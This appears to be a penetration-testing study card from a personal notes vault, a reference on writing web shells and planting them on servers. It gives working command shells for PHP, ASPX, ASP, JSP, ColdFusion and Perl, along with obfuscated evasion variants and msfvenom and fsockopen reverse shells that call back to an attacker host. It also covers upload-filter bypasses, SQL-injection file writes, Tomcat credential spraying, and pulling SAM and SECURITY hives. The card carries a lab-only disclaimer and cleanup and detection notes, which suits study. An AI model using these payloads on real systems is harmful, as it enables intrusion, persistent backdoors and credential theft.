← Workflow dashboard · ← Previous: Windows PrivEsc · Next: TTY Upgrades →
Web Shells — Creating & Deploying fas:ClipboardList
[!dashboard] Module context Module: 8 · Shells and Payloads · Deep dive: Landing a Web Shell · Foothold toolkit: 05 - Foothold Toolkit - Shells Payloads and Metasploit Related: 6 - Crafting Payloads with MSFvenom · 3 - Reverse Shells · Command Injection - Filter Bypass Cheat Sheet · TTY Upgrades
Summary ris:Eye
A web shell is a script written in the server’s own web language (PHP / ASP(X) / JSP / CFM / Perl / Python) that, once it lands in a web-served directory, hands you OS command execution through the browser. Two halves to the job: create the right shell for the stack, and deploy it — via an unrestricted upload, a filter you had to bypass, an LFI/SQLi write primitive, or a management interface. This card is a single-source reference for every flavour of web shell and every common way to get one onto disk and executing.
[!danger]+ HTB-Only Boundary
fas:TriangleExclamation
- Every payload here is for Hack The Box, HTB Academy, deliberately vulnerable labs, or systems you own and are explicitly authorised to test. A dropped
.php/.aspxon a real host is unauthorised access + a persistent backdoor.- A web shell on disk is a forensic artifact and often survives your session — clean it up (see Operational safety, detection & cleanup).
- Never upload a real payload to public VirusTotal — it burns the hash to every AV vendor.
- Treat the web shell as a stepping stone to a proper reverse shell, never the end state — it’s fragile, semi-interactive, and noisy.
★ The rp-shell family — working shells, Rosé Pine UI ris:Star
Four single-file shells, one per stack, all sharing the same Rosé Pine interface and feature set. These are the default choice — they fix the sharp edges that make minimal shells annoying: persistent cd, stderr capture, file upload/download, one-click enum chips, command history.
| File | Stack | Interpreter | Use when |
|---|---|---|---|
| nt-webshell-rosepine.aspx (SHA-256 · GPG signature) | IIS + ASP.NET | C# / cmd.exe /c | Modern IIS (Server 2016+), DNN, SharePoint |
| rp-shell.php (SHA-256 · GPG signature) | Apache/Nginx + PHP | shell_exec w/ fallbacks | LAMP/LEMP, WordPress, most Linux web |
| rp-shell.asp (SHA-256 · GPG signature) | IIS + Classic ASP | VBScript / WScript.Shell | Legacy IIS only — needs the Classic ASP feature |
| rp-shell.jsp (SHA-256 · GPG signature) | Tomcat / JBoss / any JSP | Java ProcessBuilder, OS auto-detect | Java containers, inside a .war |
Shared features
- Banner identity —
HOSTNAME :: whoamion load, so you always know your context before typing anything - Persistent
cd— working directory survives between requests (hidden field on ASPX/PHP/ASP, HTTP session on JSP);clsclears output - stdout + stderr both captured — a blank response no longer hides the error
- Enum chips — one-click
whoami /all,whoami /priv,ipconfig,sudo -l,id, SUID hunt, interpreter check (OS-appropriate per shell) - File upload (ASPX/PHP) — drops into the current working directory, perfect for
nc.exe/PrintSpoofer64.exe/ chisel staging - File download —
?get=C:\path\fileor/etc/passwd, streams as an attachment - Command history — up/down arrows cycle previous commands (client-side)
ValidateRequest="false"(ASPX) — commands with<,>, quotes don’t trip ASP.NET request validation
[!warning]+ The extension–language mismatch trap (learned the hard way) Classic ASP (VBScript) code in a
.aspxfile = instant “Server Error in ’/’ Application” runtime error page. ASP.NET cannot parseServer.CreateObject/Function...end FunctionVBScript. The generic red error page appears becausecustomErrorsisn’tOffin web.config — it hides the real parse exception.
- VBScript code → save as
.asp(requires the Classic ASP IIS feature)- C#
<script runat="server">code → save as.aspx- When in doubt, probe first:
<%@ Page Language="C#" %><%= 7 * 7 %>renders49only if ASP.NET executes- This exact bug previously cost a full debugging session on the AEN DNN host — the old version of this card had a VBScript block unlabelled inside the ASPX section
[!example]+ Deploying rp-shell on the AEN DNN host (worked example)
- DNN admin → Settings → Security → More → More Security Settings → add
aspxto Allowable File Extensions- Content → Assets / File Management → upload
nt-webshell-rosepine.aspxto the site root (lands inC:\DotNetNuke\Portals\0)- Browse
http://172.16.8.20/Portals/0/nt-webshell-rosepine.aspx— banner confirms identity- Click the
whoami /privchip → look forSeImpersonatePrivilege: Enabled→ PrintSpoofer path (see 6 - Post-Exploitation Persistence & Internal Enumeration)- Use the upload form to stage
nc.exe+PrintSpoofer64.exeinto the cwd; use?get=to pull theSAM.SAVE/SECURITY.SAVE/SYSTEM.SAVEhives- Cleanup: delete the shell, the staged tools, and revert the extensions list
Field workflow — identify, validate, operate, remove fas:Route
| Phase | Action | Evidence to retain |
|---|---|---|
| 1 · Fingerprint | Confirm server, framework, handler and accepted extensions | Headers, response body, version source |
| 2 · Probe | Use harmless arithmetic or a static marker before OS commands | Request/response pair and returned marker |
| 3 · Place | Record the client filename, server filename and resolved URL | Upload response, path, timestamp, SHA-256 |
| 4 · Validate | Run identity, working-directory and OS checks | Service identity, cwd, architecture, PATH |
| 5 · Operate | Prefer the smallest command needed to prove impact | Commands, UTC timestamps and outputs |
| 6 · Upgrade | Move to a reverse shell/TTY only when the task requires interaction | Listener details and new process context |
| 7 · Remove | Delete the shell and every companion artifact | Removal command and negative verification |
# Reusable lab context
export BASE_URL="http://target.htb"
export SHELL_URL="$BASE_URL/uploads/audit.php"
export LHOST="10.10.14.2"
export LPORT="4444"
[!tip]+ Start with a marker A static file or
7*7interpreter probe separates “upload succeeded” from “the server executed my code.” Do not jump straight to a reverse shell when a harmless marker proves the handler and path.
Pick the right shell for the stack ris:FileList
| Server / tech | Tell (how you spot it) | Shell format | rp-shell |
|---|---|---|---|
| Apache/Nginx + PHP | X-Powered-By: PHP, .php URLs, phpinfo | .php .phtml .php5 .pht .phar | rp-shell.php |
| IIS + ASP.NET | Server: Microsoft-IIS, aspnet_client/ dir, .aspx | .aspx | nt-webshell-rosepine.aspx |
| IIS + Classic ASP | legacy app, .asp URLs | .asp | rp-shell.asp |
| Apache Tomcat | port 8080, /manager, Coyote banner | .jsp or deployable .war | rp-shell.jsp |
| JBoss / WildFly | /jmx-console, /web-console | .war | rp-shell.jsp in a war |
| Adobe ColdFusion | .cfm, port 8500, CFIDE/ | .cfm | (snippet below) |
| Apache + mod_perl/CGI | /cgi-bin/, .pl/.cgi | .pl .cgi | (snippet below) |
| Python (Flask/Django/CGI) | Werkzeug, gunicorn banner | depends on framework | os.system() inline |
[!tip]+ Match the format to what the target will execute, not to the file you have
fas:LightbulbUploadingshell.phpto an IIS/ASP.NET box gets you a downloadable text file, not execution. Confirm the stack first (banner, extensions,whatweb/nmap -sV), then pick the language. When unsure, drop a probe file (test.phpcontaining<?php echo 7*7; ?>) and check whether it renders49or the source.
0 · Validate execution context fas:MagnifyingGlass
A successful request is only the beginning. Establish the process identity and constraints before choosing a payload or writing more files. (With an rp-shell, the banner + chips do this for you — this section is for bare one-liner shells.)
Linux-hosted application
id
pwd
uname -a
printf 'PATH=%s\n' "$PATH"
command -v bash sh python3 python perl php curl wget nc socat
env | sort
Windows-hosted application — CMD
whoami /all
cd
ver
set
where cmd.exe
where powershell.exe
where pwsh.exe
Windows-hosted application — PowerShell
$ExecutionContext.SessionState.LanguageMode
[Environment]::Is64BitProcess
Get-Location
Get-ChildItem Env: | Sort-Object Name
Get-Command cmd.exe, powershell.exe, pwsh.exe -ErrorAction SilentlyContinue
[!note]+ Interpret the result Web commands run as the application-pool or service identity, inherit its environment, and usually start as a fresh process for every HTTP request. A successful
cddoes not normally persist to the next request in a bare shell — the rp-shell family fakes persistence with a hidden field/session; bare shells need absolute paths orcd /path && commandchaining. Upgrade when you need job control or interactive prompts.
Exercise GET and POST safely
# GET parameter — URL-encode the complete command
curl -fsS -G "$SHELL_URL" --data-urlencode "cmd=id"
# POST parameter — useful when the shell expects form data
curl -fsS -X POST "$SHELL_URL" --data-urlencode "c=whoami"
# Preserve a response for the engagement record
curl -fsS -G "$SHELL_URL" --data-urlencode "cmd=pwd" -D headers.txt -o response.txt
[!tip]+ Let curl perform the encoding Use
--data-urlencodefor spaces,&, pipes, redirects and other shell metacharacters. Hand-building?cmd=id && hostnamechanges the HTTP query at&; it does not reliably send the complete command as one parameter.
Map the request to the executing file fas:MapLocationDot
“Uploaded successfully” does not prove that the file is reachable or executable. Record each layer separately so a 404, source-code download or blank response has an obvious place to investigate.
| Layer | Example | Question to answer |
|---|---|---|
| Virtual host | app.target.htb | Which Host header reaches the application? |
| Public URL | /media/2026/08/audit.php | What URL did the application return or render? |
| Physical path | /var/www/app/public/media/... | Where did the server actually store the file? |
| Handler | PHP-FPM, ASP.NET, JSP/Tomcat, ColdFusion | Will this extension be interpreted or served as data? |
| Process identity | www-data, apache, IIS APPPOOL\Site | Which permissions and environment apply? |
| Request state | Cookie, CSRF token, multipart field name | What must be replayed to reach or trigger it? |
Prove the handler before proving command execution
Use a unique static marker first. If interpreter execution is required, use harmless arithmetic and remove the probe after validation.
<?php echo 7 * 7; ?>
<%@ Page Language="C#" %><%= 7 * 7 %>
<%= 7 * 7 %>
<cfoutput>#7 * 7#</cfoutput>
Rendered 49 proves the handler ran. Seeing source code proves it did not. A 404 says nothing about the handler until the URL/vhost and server-side name are confirmed.
Preserve the exact authenticated request
Start from Burp’s Copy as curl output when the upload uses authentication or CSRF protection. Keep the vhost, cookies, token, multipart field name and filename; simplify only after a successful replay.
export TARGET_IP='10.10.10.10'
export TARGET_HOST='app.target.htb'
# Maintain the application session and force the intended vhost to the target IP.
curl -ksS -c webshell.cookies -b webshell.cookies \
--resolve "$TARGET_HOST:443:$TARGET_IP" \
"https://$TARGET_HOST/upload"
# Representative multipart replay—use the real field and CSRF names from the app.
curl -ksS -c webshell.cookies -b webshell.cookies \
--resolve "$TARGET_HOST:443:$TARGET_IP" \
-H 'X-CSRF-Token: REPLACE_FROM_SESSION' \
-F 'file=@probe.php;type=image/gif' \
-D upload.headers -o upload.body \
"https://$TARGET_HOST/upload"
Inspect the status, redirects and response body for a generated filename, UUID, JSON path or rendered media URL:
sed -n '1,40p' upload.headers
sed -n '1,160p' upload.body
rg -io '(/[^" ]+\.(php|aspx|jsp|cfm))|([0-9a-f]{8}-[0-9a-f-]{27,})' upload.body
Resolve the physical webroot from execution context
Linux-hosted web service:
pwd
printf 'DOCUMENT_ROOT=%s\n' "${DOCUMENT_ROOT:-unset}"
printf 'SCRIPT_FILENAME=%s\n' "${SCRIPT_FILENAME:-unset}"
ps -o user,pid,ppid,comm,args -p $$ -p $PPID
apachectl -S 2>/dev/null
nginx -T 2>&1 | sed -n '1,200p'
Windows IIS — CMD:
cd
echo %APPL_PHYSICAL_PATH%
%windir%\system32\inetsrv\appcmd.exe list site
%windir%\system32\inetsrv\appcmd.exe list vdir /text:physicalPath
Windows IIS — PowerShell:
Get-Location
$env:APPL_PHYSICAL_PATH
Import-Module WebAdministration
Get-Website | Select-Object Name, State, PhysicalPath, Bindings
Get-WebVirtualDirectory | Select-Object Site, Path, PhysicalPath
These commands depend on the service account’s read permissions and installed administration tools. Treat an empty variable or access error as “not available from this context,” not as proof that no webroot exists.
Know which shell parses the command
| Runtime call | Shell metacharacters such as &&, |, >? | Reliable form |
|---|---|---|
PHP system() / ASPX cmd.exe /c | Yes | Send the complete command with URL encoding |
Java Runtime.exec(String) | No implicit shell | Explicitly call /bin/sh -c or cmd.exe /c |
| PowerShell invocation | PowerShell syntax | Do not paste CMD-only quoting unchanged |
Capture stderr when a command appears blank:
curl -fsS -G "$SHELL_URL" --data-urlencode 'cmd=id 2>&1'
curl -fsS -G "$SHELL_URL" --data-urlencode 'cmd=pwd; printf "exit=%s\n" "$?"'
A · PHP web shells fas:Terminal
[!success]+ Default: rp-shell.php Full Rosé Pine UI, exec-function fallbacks, persistent
cd, upload/download, Linux enum chips. File: rp-shell.php (SHA-256 · GPG signature) Use the minimal shells below only when you need something tiny/stealthy or must hand-craft around a filter.
Minimal one-liners
<?php system($_GET['cmd']); ?> // classic GET
<?php echo shell_exec($_GET['cmd']); ?> // shell_exec returns full output as string
<?php passthru($_REQUEST['cmd']); ?> // $_REQUEST = GET or POST or cookie
<?php if(isset($_POST['c'])) system($_POST['c']); ?> // POST-only (stays out of access logs' query string)
[!info]+ Which exec function?
system()prints output + returns last line ·shell_exec()/backticks return the whole output as a string (needsecho) ·passthru()streams raw bytes (good for binary) ·exec()returns only the last line unless you pass$output. If one is disabled viadisable_functions, try the others:proc_open,popen,pcntl_exec. Check with a probe:<?php var_dump(ini_get('disable_functions')); ?>. rp-shell.php does this fallback chain automatically and shows the disabled list in its banner.
Compact keyed examples (lab-only)
<?php @eval($_POST['pass']); ?> // China Chopper server side (client sends PHP)
<?php @system($_REQUEST['0xdeadbeef']); ?> // non-default parameter name
<?php @eval(base64_decode($_POST['x'])); ?> // base64-wrapped payload in body
<?php $f='sys'.'tem'; @$f($_GET['c']); ?> // split string dodges naive grep for "system("
[!tip]+ Blend with an image to survive
.jpguploads + LFIexiftool -Comment='<?php system($_GET["cmd"]); ?>' cat.jpg # payload rides in EXIF mv cat.jpg cat.php.jpg # or serve as .php via .htaccess / include via LFIThe file is a valid image (passes magic-byte checks) but contains live PHP once interpreted.
Prebuilt PHP shells
# Laudanum — pre-installed on Kali/Parrot, edit allowedIps first
cp /usr/share/laudanum/php/php-reverse-shell.php ./shell.php # reverse
cp /usr/share/webshells/php/php-reverse-shell.php ./shell.php # pentestmonkey classic (edit $ip/$port)
# WhiteWinterWolf wwwolf — robust cmd shell, works when system() is filtered
# https://github.com/WhiteWinterWolf/wwwolf-php-webshell
# p0wny-shell — single-file, pretty prompt UI (https://github.com/flozz/p0wny-shell)
# b374k / c99 / r57 — full-featured but HEAVILY signatured; lab-only, expect AV hits
weevely — stealth, obfuscated, encrypted PHP agent + client
weevely generate <password> agent.php # generates an obfuscated agent
# upload agent.php, then connect:
weevely http://$IP/uploads/agent.php <password>
# gives a real terminal, modules for file ops, privesc enum, pivot, SQL, etc.
msfvenom PHP payloads
msfvenom -p php/reverse_php LHOST=$LHOST LPORT=443 -f raw -o shell.php
# msfvenom often omits the opening tag — prepend it if the app doesn't wrap:
(echo '<?php ' ; cat shell.php) > s.php && mv s.php shell.php
# meterpreter over PHP (richer post-ex):
msfvenom -p php/meterpreter/reverse_tcp LHOST=$LHOST LPORT=443 -f raw -o met.php # catch with multi/handler
B · ASP / ASPX web shells (IIS) fas:Terminal
[!success]+ Default: nt-webshell-rosepine.aspx (ASP.NET) or rp-shell.asp (Classic ASP)
- ASP.NET available (almost always): nt-webshell-rosepine.aspx (SHA-256 · GPG signature) — full UI, persistent
cd, upload/download, Windows enum chips,ValidateRequest="false".- Classic ASP only (legacy): rp-shell.asp (SHA-256 · GPG signature) — same UI in VBScript; no upload form (use
certutil/PowerShell to fetch files instead). Check which you have before uploading: the7*7probe from §Map the request. The two languages are NOT interchangeable — see the mismatch trap callout at the top of this card.
ASPX minimal GET shell (drop-in, C# — this is the ASP.NET one)
<%@ Page Language="C#" %>
<%@ Import Namespace="System.Diagnostics" %>
<%@ Import Namespace="System.IO" %>
<script runat="server">
protected void Page_Load(object sender, EventArgs e){
ProcessStartInfo psi = new ProcessStartInfo("cmd.exe", "/c " + Request["cmd"]);
psi.RedirectStandardOutput = true;
psi.RedirectStandardError = true;
psi.UseShellExecute = false;
Process p = Process.Start(psi);
string output = p.StandardOutput.ReadToEnd() + p.StandardError.ReadToEnd();
p.WaitForExit();
Response.Write("<pre>" + Server.HtmlEncode(output) + "</pre>");
}
</script>
Browse: http://$IP/shell.aspx?cmd=whoami
Classic ASP (older IIS, VBScript — extension must be .asp)
[!danger]+ Save VBScript as
.asp, never.aspxThe block below is classic ASP. In a.aspxfile the ASP.NET parser rejects it and IIS returns the generic “Server Error in ’/’ Application” runtime page. (Yes, this card previously had this exact code sitting unlabelled under an ASPX heading — that’s what burned us on the DNN host. Fixed now.)
<% Set o = Server.CreateObject("WScript.Shell")
Set e = o.Exec("cmd /c " & Request.QueryString("cmd"))
Response.Write("<pre>" & e.StdOut.ReadAll() & "</pre>") %>
The full-featured VBScript variant with server info + form UI (the one from the Academy walkthrough) is rp-shell.asp, which adds persistent cd, stderr capture, and a download handler on top of the same WScript.Shell.Exec primitive.
Antak — PowerShell-driven ASPX web shell (Nishang)
cp /usr/share/nishang/Antak-WebShell/antak.aspx ./Upload.aspx
# edit line ~14: set $Username / $Password before uploading
Runs each command as a new process, can execute scripts in memory, and encodes traffic — the strongest option when the target is Windows + PowerShell. Browse to the file, authenticate, issue PowerShell.
Laudanum ASPX + msfvenom
cp /usr/share/laudanum/aspx/shell.aspx ./demo.aspx # edit allowedIps (~line 59), strip ASCII art
msfvenom -p windows/x64/meterpreter/reverse_tcp LHOST=$LHOST LPORT=443 -f aspx -o shell.aspx
[!info]+ IIS extension quirks worth knowing Handler mappings vary by IIS and ASP.NET version. Alternate extensions such as
.ashx,.asmxor classic.aspexecute only when the corresponding handler is enabled; trailing-dot/ADS behavior is legacy and configuration-dependent. Validate with a harmless marker. Theaspnet_clientdirectory is a useful ASP.NET clue, not proof that every extension executes.
C · JSP / WAR web shells (Tomcat / JBoss) fas:Terminal
[!success]+ Default: rp-shell.jsp rp-shell.jsp (SHA-256 · GPG signature) — OS auto-detection (Windows
cmd.exe /cvs Linux/bin/sh -c),cdpersisted in the JSP session, download handler, OS-appropriate chips. The explicit shell wrapper is what makes pipes/redirects/chaining work; bareRuntime.exec(String)does not invoke a command shell.
Raw JSP command shell (minimal)
<%@ page import="java.util.*,java.io.*" %>
<%
String cmd = request.getParameter("cmd");
if (cmd != null) {
boolean windows = System.getProperty("os.name").toLowerCase().contains("win");
String[] command = windows
? new String[] {"cmd.exe", "/c", cmd}
: new String[] {"/bin/sh", "-c", cmd};
Process p = new ProcessBuilder(command).redirectErrorStream(true).start();
BufferedReader r = new BufferedReader(new InputStreamReader(p.getInputStream()));
String l; out.println("<pre>");
while ((l = r.readLine()) != null) out.println(l);
out.println("</pre>");
}
%>
Drop as cmd.jsp in a webroot → http://$IP:8080/cmd.jsp?cmd=id. Prebuilt copy: /usr/share/webshells/jsp/cmd.jsp.
Build a WAR by hand
mkdir webshell && cp rp-shell.jsp webshell/
cd webshell && jar -cvf ../webshell.war * # -> deployed at /webshell/rp-shell.jsp
msfvenom WAR / JSP
msfvenom -p java/jsp_shell_reverse_tcp LHOST=$LHOST LPORT=443 -f war -o shell.war
msfvenom -p java/jsp_shell_reverse_tcp LHOST=$LHOST LPORT=443 -f raw -o shell.jsp
unzip -l shell.war # note the random-named .jsp inside — that's the trigger path
Deploy to Tomcat Manager (creds required)
# text API deploy
curl -u tomcat:s3cret -T shell.war "http://$IP:8080/manager/text/deploy?path=/shell"
curl "http://$IP:8080/shell/" # trigger reverse shell / browse cmd.jsp
# Metasploit alternative: exploit/multi/http/tomcat_mgr_upload (set HttpUsername/HttpPassword)
[!tip]+ No creds? Spray the Tomcat defaults
tomcat:tomcat,admin:admin,tomcat:s3cret,admin:<blank>,role1:role1. Manager lives at/manager/html(GUI) or/manager/text(API). JBoss equivalent: deploy the WAR via/jmx-console→jboss.system:service=MainDeployer.
D · Other stacks (brief) fas:Terminal
<!-- ColdFusion .cfm -->
<cfoutput><pre><cfexecute name="C:\Windows\System32\cmd.exe"
arguments="/c #URL.cmd#" timeout="20" variable="out"></cfexecute>#out#</pre></cfoutput>
#!/usr/bin/perl
# Perl CGI — drop in /cgi-bin/, chmod +x
use CGI; my $q = CGI->new; print $q->header('text/plain'); print `$ENV{'QUERY_STRING'}`;
Python drop-in files are rare (frameworks don’t execute arbitrary .py from the webroot); when you have Python code injection instead, use os.system()/subprocess inline rather than a file. Prebuilt collections: PayloadsAllTheThings/Upload Insecure Files, tennc/webshell, and SecLists Web-Shells/.
E · Where the prebuilt shells live fas:BookOpen
| Source | Path / URL | Languages |
|---|---|---|
| rp-shell family (this vault) | nt-webshell-rosepine.aspx · rp-shell.php · rp-shell.asp · rp-shell.jsp | aspx, php, asp, jsp |
| Laudanum | /usr/share/laudanum/ | asp, aspx, jsp, php, cfm, perl |
| Kali webshells | /usr/share/webshells/{php,asp,aspx,jsp,perl,cfm}/ | all |
| Nishang / Antak | /usr/share/nishang/Antak-WebShell/ | aspx (PowerShell) |
| weevely | weevely generate | php (stealth) |
| SecLists | /usr/share/seclists/Web-Shells/ | all |
| PayloadsAllTheThings | github swisskyrepo/PayloadsAllTheThings | all + upload bypasses |
| tennc/webshell | github tennc/webshell | huge archive |
F · Deploying it — delivery vectors fas:Terminal
1. Unrestricted file upload (best case)
Upload via the app’s own upload feature (avatar, document, logo, import), then browse to the returned path. Find where it landed: common webroots below.
Linux : /var/www/html /var/www /srv/http (Arch) /usr/share/nginx/html /opt/<app>
Windows: C:\inetpub\wwwroot DNN: C:\DotNetNuke\Portals\0 Tomcat: <install>/webapps/<app>/
Uploads often under: /uploads /images /files /media /avatars /tmp
2. Upload filter bypass matrix
[!info]+ Bypass by what the filter checks Work out what is being validated (extension?
Content-Typeheader? magic bytes? real image content?) and defeat that one thing while keeping the file executable. See Command Injection - Filter Bypass Cheat Sheet for the injection-side companion.
| Filter | Bypass |
|---|---|
Blacklisted .php | .php3 .php4 .php5 .php7 .pht .phtml .phar .inc · ASP: .asp .asa .cer .aspx · JSP: .jspx .jsw .jsv .war |
| Case-sensitive blacklist | shell.pHp, shell.AsP, SHELL.PHP5 |
| Extension check on last dot | double ext shell.php.jpg / shell.jpg.php (depends which the server honours) |
| Trailing chars stripped by OS | shell.php. · shell.php%20 · shell.php%00.jpg (null byte, PHP < 5.3.4) · shell.aspx::$DATA (IIS ADS) |
Content-Type (MIME) check | intercept in Burp, change Content-Type: application/x-php → image/gif (leave PHP body intact) |
| Magic-byte / “is it an image” check | prepend GIF89a; or JPEG magic \xFF\xD8\xFF to the file before the <?php |
| Real image required | exiftool -Comment='<?php system($_GET[cmd]);?>' img.jpg → polyglot image + code |
| Server maps ext via config | upload a .htaccess: AddType application/x-httpd-php .jpg then upload shell.jpg |
| Client-side JS validation only | strip it — intercept the POST in Burp Repeater and send the raw multipart |
# Burp: the two lines you flip on a MIME-only check
Content-Disposition: form-data; name="file"; filename="shell.php"
Content-Type: image/gif <-- was application/x-php
# .htaccess trick (Apache) — upload this, then any .shell file runs as PHP
AddType application/x-httpd-php .shell
3. LFI / log poisoning / wrappers → execution
When you can’t upload but can include a file (LFI), plant code where the app will read it: poison the User-Agent in the Apache access log then include /var/log/apache2/access.log, use php://input/data:///php://filter wrappers, or /proc/self/environ. Full technique set lives in the LFI/RFI notes — from here it’s the same PHP payloads above, just delivered through the include.
4. SQLi write primitive → INTO OUTFILE
' UNION SELECT "<?php system($_GET['cmd']); ?>" INTO OUTFILE '/var/www/html/s.php'-- -
Needs FILE privilege, secure_file_priv unset, and a writable, known webroot path. Then browse s.php?cmd=id.
5. Management interfaces & protocols
# Tomcat / JBoss WAR — see section C
# WebDAV PUT (if PUT is allowed)
curl -X PUT http://$IP/shell.php --data-binary @shell.php
davtest -url http://$IP -uploadfile shell.php # tests which extensions are executable
cadaver http://$IP/ # interactive WebDAV
# anonymous FTP mapped to the webroot (module's chain): drop into /uploads, browse over HTTP
ftp $IP # anonymous / <blank> → put shell.aspx → http://$IP/uploads/shell.aspx
6. CMS / app-specific
- DotNetNuke (DNN) → Settings → Security → Allowable File Extensions (add
aspx) → Content/Assets file manager upload → browse/Portals/0/<file>.aspx. Alternate RCE: SQL console →xp_cmdshell(see 6 - Post-Exploitation Persistence & Internal Enumeration). - WordPress → Appearance → Theme/Plugin Editor, edit
404.phpto your PHP shell; or upload a malicious plugin zip. (wpscan, or msfwp_admin_shell_upload.) - rConfig → Devices → Vendors → Add Vendor “logo” field; upload
.phpand swapContent-Typetoimage/gifin Burp →/images/vendor/<file>.php. - Joomla / Drupal → template editor, or a media-manager upload +
.htaccess.
G · Interact & upgrade fas:Terminal
# raw browser / curl
curl "http://$IP/uploads/shell.php?cmd=id"
curl -G "http://$IP/uploads/shell.php" --data-urlencode "cmd=cat /etc/passwd"
curl -X POST "http://$IP/shell.php" --data-urlencode "c=whoami" # POST-based shell
# wshx — turns a dumb ?cmd= shell into a stateful prompt (session cwd, upload/download, auth, WAF bypass)
wshx -u "http://$IP/uploads/shell.php?cmd=CMD" # interactive
wshx -u "http://$IP/shell.php" -X POST --data 'c=CMD' --param c # POST variant
wshx -u "...cmd=CMD" -b 'PHPSESSID=..' --start '<pre>' --end '</pre>' # authed + trim wrapper
wshx -u "...cmd=CMD" --proxy http://127.0.0.1:8080 --double-encode # through Burp, WAF bypass
# UPGRADE to a real reverse shell (do this early — web shells are fragile)
wshx -u "...cmd=CMD" --revshell $LHOST 443 # one-shot upgrade (pair with a listener)
revx $LHOST 443 -t bash --encode # or generate a payload to paste manually
# php one-liner a dropped .php pivots to:
php -r '$s=fsockopen("'"$LHOST"'",443);exec("/bin/sh -i <&3 >&3 2>&3");'
[!warning]+ Web shell interactivity is limited Chained commands (
whoami && hostname), interactive prompts,cdpersistence, andsudopassword entry frequently don’t work through a bare web shell — each request is a fresh process. The rp-shell family fakes persistent cwd;wshxfakes it for bare shells; for anything real, upgrade to a reverse shell and stabilise (python3 -c 'import pty;pty.spawn("/bin/bash")'). See 3 - Reverse Shells.
H · Troubleshooting matrix fas:Wrench
| Symptom | Likely cause | Next checks |
|---|---|---|
| “Server Error in ’/’ Application” runtime error page (IIS) | Language/extension mismatch — VBScript classic-ASP code in a .aspx file (or vice versa) | Match code to extension: VBScript→.asp, C#→.aspx; probe with <%= 7*7 %>; optionally set customErrors mode="Off" temporarily to see the real exception |
| File downloads or source is displayed | Wrong language/extension or no handler mapping | Re-fingerprint the stack; use a harmless interpreter probe |
404 Not Found after upload | Server renamed the file, different vhost, virtual path or storage outside webroot | Inspect upload response, redirects, HTML source and predictable media paths |
403 Forbidden | Execute permission, request filtering, application authorization or web-server deny rule | Compare static-file access; inspect method, extension and authenticated session |
Blank 200 response | Function disabled, stderr lost, exception hidden or no command parameter | Use a static marker; capture headers/body; test pwd/cd; check server error behavior |
| Command runs but output is truncated | Timeout, buffering or binary output | Use passthru, redirect stderr, write a small lab artifact, or switch to a reverse shell |
| Linux command works, callback does not | Listener/interface error, egress filtering, DNS failure or missing interpreter | Verify $LHOST, route, listening socket and outbound TCP/DNS with a harmless connection test |
| Windows command works, PowerShell payload fails | CLM, AMSI/application control, quoting, architecture or proxy/TLS issue | Check language mode, available binaries, system proxy and event/error output |
cd/environment change disappears | Each request creates a new process | Use an rp-shell (persistent cwd), absolute paths, cd /path && command, or a stateful client |
WAR deploy says FAIL | Context already exists, wrong Manager role/path or malformed archive | Query /manager/text/list; choose a unique context; inspect WAR contents |
Fast request diagnostics
# Show status, redirects, cookies and server headers
curl -vkI "$SHELL_URL"
# Follow redirects while retaining a cookie jar
curl -ksS -L -c cookies.txt -b cookies.txt -G "$SHELL_URL" \
--data-urlencode "cmd=id"
# Confirm the listener is bound to the expected interface/port
ss -lntp | grep ":${LPORT}"
Operational safety, detection & cleanup fas:Lightbulb
[!warning]+ Control the assessment artifact
- Restrict access: Laudanum
allowedIps= your source IP · Antak = built-in auth · custom = odd param name + a shared secret so no one else stumbles onto your shell. (rp-shell family: no auth built in — treat them as lab-only and delete immediately after use.)- Know the signature: public shells are widely detected. Prefer a minimal, reviewable lab payload and record its hash instead of deploying a feature-heavy shell.
- Assume requests are logged: GET query strings are conspicuous, and WAFs/proxies may also retain POST bodies. Keep commands scoped and avoid placing credentials in either.
- Clean up: record every file you drop and
rm/delit at the end — a leftover shell is a live backdoor. The file on disk is a forensic artifact even when the payload is memory-resident meterpreter. On DNN also revert the Allowable File Extensions change.- Don’t submit to public VirusTotal — it leaks the hash/signature to vendors and burns the payload.
Artifact ledger
| Item | Record before use | Cleanup proof |
|---|---|---|
| Uploaded shell | Local/server filename, URL, SHA-256, owner/ACL | URL returns expected 404/denial; file absent |
| WAR/plugin/archive | Context or install name, deployment response, extracted paths | Undeploy/uninstall response; context no longer listed |
Server config (.htaccess, handler mapping, DNN extensions) | Original content/hash and exact change | Original restored; handler probe no longer executes |
| Reverse-shell helper | Destination path, listener port, process identity | File/process/socket absent |
| Test account or app setting | Original role/value and UTC time | Original role/value restored |
# Hash before upload and keep the value with the engagement evidence.
sha256sum rp-shell.php rp-shell.jsp rp-shell.asp nt-webshell-rosepine.aspx 2>/dev/null
# Tomcat Manager: list, then undeploy the exact assessment context.
curl -fsS -u "$TOMCAT_USER:$TOMCAT_PASS" "$BASE_URL/manager/text/list"
curl -fsS -u "$TOMCAT_USER:$TOMCAT_PASS" "$BASE_URL/manager/text/undeploy?path=/shell"
Blue-team tells (what defenders grep for, so you know what you’re leaving): new files with recent mtime in upload dirs; PHP files containing system|shell_exec|passthru|eval|base64_decode|assert; ASPX with Process.Start / ASP with WScript.Shell; short files in /uploads or Portals/0; unusual Content-Type on stored uploads; outbound connections from www-data/apache/IIS APPPOOL; access-log hits with cmd=/?c= query strings. Detection & prevention detail: 10 - Detection and Prevention.
Lessons Learned fas:Lightbulb
- Fingerprint before you craft. The single most common failure is uploading the wrong language for the stack — a
.phpon IIS just serves as text. Probe with7*7. - Extension and language are a matched pair. VBScript classic-ASP code in a
.aspxfile (or C# in.asp) fails with a generic runtime error page that hides the real parse exception. When the red IIS error page appears, check the mismatch first. - Use the rp-shell family by default. Persistent
cd, stderr capture, upload/download, and enum chips remove the papercuts of bare one-liners — reach for minimal shells only when stealth or a filter demands it. - Filter bypasses are about what’s checked. Extension, MIME header, magic bytes, and real-content validation each have a distinct bypass; the
Content-Type: image/gifswap defeats the most common (client-supplied MIME trust) one. - Upgrade fast. A web shell is a stepping stone — fragile, semi-interactive, and noisy. Get a reverse shell (
wshx --revshell/revx) and stabilise before doing real work. - You are leaving files. Track and remove every dropped shell; restrict it to your IP or behind a secret while it’s live; revert app config changes (DNN extension lists,
.htaccess).
References fas:BookOpen
- PayloadsAllTheThings — Upload Insecure Files
- Laudanum project
- Nishang · Antak Webshell
- weevely3
- WhiteWinterWolf PHP web shell
- tennc/webshell archive
- OWASP — Unrestricted File Upload
- PHP Manual —
system - Apache Tomcat 9 — Manager App How-To
← Previous: Windows PrivEsc · Workflow dashboard · Next: TTY Upgrades →
